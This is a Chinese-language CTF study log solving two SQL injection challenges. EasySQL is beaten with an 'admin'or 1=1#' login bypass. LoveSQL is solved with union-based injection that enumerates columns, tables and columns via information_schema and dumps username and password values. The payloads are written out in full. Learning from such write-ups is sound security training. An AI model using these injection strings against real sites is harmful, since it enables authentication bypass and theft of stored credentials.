2022年4月1日学习记录
EasySQL
打开之后,发现这样的界面
尝试使用万能密码爆破一下
用户名:admin'or 1=1# 密码:1234
直接就找到flag了
更多的万能密码请参照这篇文章:万能密码大全_NQ31的博客-CSDN博客_万能密码
LoveSQL
打开之后还是这个界面
在尝试使用万能密码登录一下
这回就需要我们爆表了
看了一下url,是以get方式进行传参。先在username处测试一下有没有注入点:
?username=1' order by 1%23&password=ads
//其实1表示第一个栏位,2表示第二栏位; 依此类推,当表中只有2个栏位时,oder by 3就会出错,这个跟order by 列名没有什么区别,不过在特殊情况下还是很有用的.我们用此来判断字段
//%23是#的URL编码
发现到四的时候产生了报错,判断有3个字段
接下来开始寻找注入点:
?username=1' union select 1,2,3%23&password=ads
//用union select函数联合注入查询注入点
发现2,3都是注入点,而且没有过滤,接下来直接写命令了
?username=1' union select 1,database(),3%23&password=ads
得到数据库名geek!
接下来查表名
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads
//将group by产生的同一个分组中的值连接起来,返回一个字符串结果。group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。由函数参数(字段名)决定要返回的列。
得到表名 'geekuser,l0ve1ysq1'
查列 得到列名
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads
查flag
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
得到flag